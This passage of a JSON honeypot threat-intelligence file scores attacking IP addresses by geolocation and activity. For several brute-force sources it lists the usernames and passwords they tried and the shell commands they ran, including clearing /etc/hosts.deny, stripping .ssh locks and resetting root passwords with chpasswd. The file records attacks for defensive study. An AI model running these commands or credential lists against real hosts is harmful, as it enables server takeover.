      "as_org": "Videotron Ltee",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:28:03.880000+00:00",
        "last_seen_30d": "2026-04-17T19:29:45.462000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.247.95.154": {
      "attack_count": 2,
      "first_seen": "2026-04-03T11:47:45.301Z",
      "last_seen": "2026-04-03T11:47:45.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": null,
      "asn": 208744,
      "as_org": "UGT LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T11:47:45.301000+00:00",
        "last_seen_30d": "2026-04-08T06:13:09.513000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 10,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "187.87.225.14": {
      "attack_count": 2,
      "first_seen": "2026-04-30T10:52:22.992Z",
      "last_seen": "2026-04-30T10:52:36.428Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Laranjeiras",
      "asn": 262689,
      "as_org": "UNOUN INTERNET LTDA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:52:22.992000+00:00",
        "last_seen_30d": "2026-04-30T10:53:41.939000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.90": {
      "attack_count": 2,
      "first_seen": "2026-04-21T16:40:06.499Z",
      "last_seen": "2026-04-21T16:40:37.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:25:29.523000+00:00",
        "last_seen_30d": "2026-04-29T16:11:48.564000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 22,
        "Cowrie": 2
      }
    },
    "198.235.24.96": {
      "attack_count": 2,
      "first_seen": "2026-04-27T05:06:46.849Z",
      "last_seen": "2026-04-27T05:06:56.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:01:26+00:00",
        "last_seen_30d": "2026-04-30T01:50:32.128000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 14,
        "Dionaea": 5,
        "Cowrie": 2
      }
    },
    "206.168.201.46": {
      "attack_count": 2,
      "first_seen": "2026-04-22T17:43:55.209Z",
      "last_seen": "2026-04-22T17:44:07.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:43:55.209000+00:00",
        "last_seen_30d": "2026-04-22T17:45:17.223000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.159.8.97": {
      "attack_count": 2,
      "first_seen": "2026-04-19T12:21:56.253Z",
      "last_seen": "2026-04-19T12:22:10.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T12:21:56.253000+00:00",
        "last_seen_30d": "2026-04-19T12:23:18.824000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.74.242.139": {
      "attack_count": 2,
      "first_seen": "2026-04-28T23:12:04.097Z",
      "last_seen": "2026-04-28T23:12:17.752Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:12:04.097000+00:00",
        "last_seen_30d": "2026-04-28T23:13:23.998000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.188.44.125": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:07:13.280Z",
      "last_seen": "2026-04-30T06:07:25.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Parais\u00f3polis",
      "asn": 271627,
      "as_org": "ZAP TELECOM EIRELI",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:07:13.280000+00:00",
        "last_seen_30d": "2026-04-30T06:08:28.036000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.83.218": {
      "attack_count": 2,
      "first_seen": "2026-04-30T03:39:34.317Z",
      "last_seen": "2026-04-30T03:40:05.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:39:34.317000+00:00",
        "last_seen_30d": "2026-04-30T03:41:08.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.23.115.214": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:25:14.623Z",
      "last_seen": "2026-04-29T21:25:45.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Vancouver",
      "asn": 397778,
      "as_org": "Beanfield Technologies Inc.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:25:14.623000+00:00",
        "last_seen_30d": "2026-04-29T21:26:51.839000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.224": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:57:11.253Z",
      "last_seen": "2026-04-13T00:57:11.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 20.0,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 24,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T04:32:42+00:00",
        "last_seen_30d": "2026-04-26T18:28:18.417000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 5,
        "Cowrie": 2,
        "Dionaea": 2,
        "Ciscoasa": 1
      }
    },
    "91.230.168.26": {
      "attack_count": 2,
      "first_seen": "2026-04-08T08:28:48.403Z",
      "last_seen": "2026-04-08T08:28:58.613Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:19:03.530000+00:00",
        "last_seen_30d": "2026-04-30T21:46:36.058000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127,
        "Honeytrap": 52,
        "Cowrie": 2
      }
    },
    "171.25.158.57": {
      "attack_count": 817,
      "first_seen": "2026-04-02T01:06:03.918Z",
      "last_seen": "2026-04-19T18:31:34.870Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "postgres",
        "user",
        "n8n",
        "teamspeak",
        "test",
        "adam",
        "administrator",
        "ali",
        "bot",
        "botuser",
        "cloudftp",
        "dashboard",
        "deployer",
        "dmp",
        "frappe",
        "ftptest",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "!@#qwe",
        "!@QW34er",
        "0",
        "102026",
        "10nd0n",
        "111111",
        "1234",
        "12345",
        "123456-qwerty",
        "123456789",
        "123456789.00",
        "1234567890",
        "123456a.",
        "123456abc!",
        "123root123",
        "159753",
        "1q2w3e4r%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0\\nfzp7xq8twYwx\\nfzp7xq8twYwx\\n\"|passwd",
        "echo \"Passw0rd2026\\nyyhE1hX0jrZW\\nyyhE1hX0jrZW\\n\"|passwd",
        "echo \"root:4hKTrtFMZCWk\"|chpasswd|bash",
        "echo \"root:7rrOprjvZbND\"|chpasswd|bash",
        "echo \"root:bPUIbU7HkL66\"|chpasswd|bash",
        "echo -e \"0\\nfzp7xq8twYwx\\nfzp7xq8twYwx\"|passwd|bash",
        "echo -e \"Passw0rd2026\\nyyhE1hX0jrZW\\nyyhE1hX0jrZW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1065,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:06:03.918000+00:00",
        "last_seen_30d": "2026-04-19T18:32:38.535000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 817,
        "Suricata": 248
      }
    },
    "103.52.114.122": {
      "attack_count": 716,
      "first_seen": "2026-04-03T15:56:36.956Z",
      "last_seen": "2026-04-15T01:53:52.868Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "ftpuser",
        "ubuntu",
        "steam",
        "admin",
        "ansible",
        "bot",
        "daniel",
        "deploy",
        "es",
        "gameserver",
        "julian",
        "kafka",
        "kernel",
        "logger",
        "mmuser",
        "n8n",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!QAZ2wsx3edc",
        "11",
        "123123",
        "123456",
        "1234567890987654321",
        "123456qaz",
        "1qaz@@",
        "A123a123",
        "AAqq1234",
        "Abc123123@",
        "AbcAbc",
        "Adm@123",
        "Admin2026.",
        "Ali",
        "Bot22!",
        "Ftpuser6",
        "Hello1234!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ali29\\n5GS3CrxKXXIg\\n5GS3CrxKXXIg\\n\"|passwd",
        "echo \"root:9Qh7fXPRfDKn\"|chpasswd|bash",
        "echo \"root:C9mOQKuYewWG\"|chpasswd|bash",
        "echo \"root:befbHXph91SM\"|chpasswd|bash",
        "echo \"root:g0Y7zXw0X03I\"|chpasswd|bash",
        "echo -e \"ali29\\n5GS3CrxKXXIg\\n5GS3CrxKXXIg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 917,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T15:56:36.956000+00:00",
        "last_seen_30d": "2026-04-15T01:55:02.065000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 716,
        "Suricata": 201
      }
    },
    "103.98.176.164": {
      "attack_count": 668,
      "first_seen": "2026-04-01T09:34:15.054Z",
      "last_seen": "2026-04-29T01:27:52.467Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "ubuntu",
        "odoo",
        "test",
        "user",
        "wp-user",
        "Test",
        "admin",
        "amir",
        "debian",
        "deployer",
        "dev",
        "developer",
        "hadoop",
        "n8n",
        "npadmin",
        "postgres",
        "radix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "098765",
        "100100",
        "123",
        "12312312",
        "1234",
        "12341234",
        "12345",
        "123456",
        "1234567q",
        "12345_qwe",
        "159159",
        "1Q2W3E4R",
        "963963",
        "Admin@2025",
        "Ali11!",
        "Asd123",
        "Hamid@2024",
        "Haslo-123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"admin12345\\nHLLEgWwCBwi7\\nHLLEgWwCBwi7\\n\"|passwd",
        "echo \"ali@123\\n5LXYx8inY4sf\\n5LXYx8inY4sf\\n\"|passwd",
        "echo \"root:MtwmfgFfxEkU\"|chpasswd|bash",
        "echo \"root:ucgOOsGUF0Nr\"|chpasswd|bash",
        "echo \"wp-user\\nhwGTOh58L64a\\nhwGTOh58L64a\\n\"|passwd",
        "echo -e \"admin12345\\nHLLEgWwCBwi7\\nHLLEgWwCBwi7\"|passwd|bash",
        "echo -e \"ali@123\\n5LXYx8inY4sf\\n5LXYx8inY4sf\"|passwd|bash",
        "echo -e \"wp-user\\nhwGTOh58L64a\\nhwGTOh58L64a\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136827,
      "as_org": "Universitas PGRI Semarang",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 839,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:34:15.054000+00:00",
        "last_seen_30d": "2026-04-29T01:29:00.669000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 668,
        "Suricata": 171
      }
    },
    "170.233.151.14": {
      "attack_count": 607,
      "first_seen": "2026-04-09T06:14:08.053Z",
      "last_seen": "2026-04-26T17:33:42.010Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "useradmin",
        "ali",
        "demo",
        "deploy",
        "frappe",
        "oracle",
        "qwerty",
        "server",
        "testing",
        "webapp",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "!Zx",
        "!qwe1234",
        "111119",
        "123123",
        "1234",
        "123456!@#",
        "123456qq!",
        "1234qwer",
        "123zxc123",
        "1Pass12",
        "1q2w3e4r5T",
        "2wsx3edc$",
        "654321",
        "ABCabc123!@#",
        "Admin12345678@#",
        "Asd123!",
        "Asd123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\nj2xzdhBLYW4R\\nj2xzdhBLYW4R\\n\"|passwd",
        "echo \"root:4TbfXN7z6snT\"|chpasswd|bash",
        "echo \"root:CQWe5sil3AxA\"|chpasswd|bash",
        "echo \"root:OYb0Qv0sgQZW\"|chpasswd|bash",
        "echo \"root:QyelT9OLoWSE\"|chpasswd|bash",
        "echo \"root:cVXFaaqyYMGX\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\nj2xzdhBLYW4R\\nj2xzdhBLYW4R\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marab\u00e1",
      "asn": 265096,
      "as_org": "PRGNET SERVICOS DE TELECOMUNICACOES",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 725,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:14:08.053000+00:00",
        "last_seen_30d": "2026-04-26T17:34:50.371000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 607,
        "Suricata": 118
      }
    },
    "42.200.66.164": {
      "attack_count": 546,
      "first_seen": "2026-04-09T06:13:52.624Z",
      "last_seen": "2026-04-28T23:47:05.373Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "user",
        "useradmin",
        "administrator",
        "ali",
        "demo",
        "deploy",
        "es",
        "frappe",
        "ftpuser",
        "guest",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "qwerty",
        "sdtdserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "654321",
        "P@ssw0rd",
        "test",
        "111111",
        "123",
        "123123",
        "1234",
        "123456",
        "123456qq!",
        "1234qwer",
        "123abc",
        "2wsx3edc$",
        "43214321",
        "ABCabc123!@#",
        "Admin12345678@#",
        "Administrator",
        "Asd123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\ngYSp9AmRuwJh\\ngYSp9AmRuwJh\\n\"|passwd",
        "echo \"root:BHNsy4ayVs4r\"|chpasswd|bash",
        "echo \"root:jz9aAilJ0xtu\"|chpasswd|bash",
        "echo \"root:qP6ctnzBWYRV\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\ngYSp9AmRuwJh\\ngYSp9AmRuwJh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 686,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:13:52.624000+00:00",
        "last_seen_30d": "2026-04-28T23:48:08.182000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 546,
        "Suricata": 140
      }
    },
    "103.59.94.62": {
      "attack_count": 525,
      "first_seen": "2026-04-12T04:03:50.211Z",
      "last_seen": "2026-04-14T00:17:41.298Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "ali",
        "config",
        "deploy",
        "devops",
        "oracle",
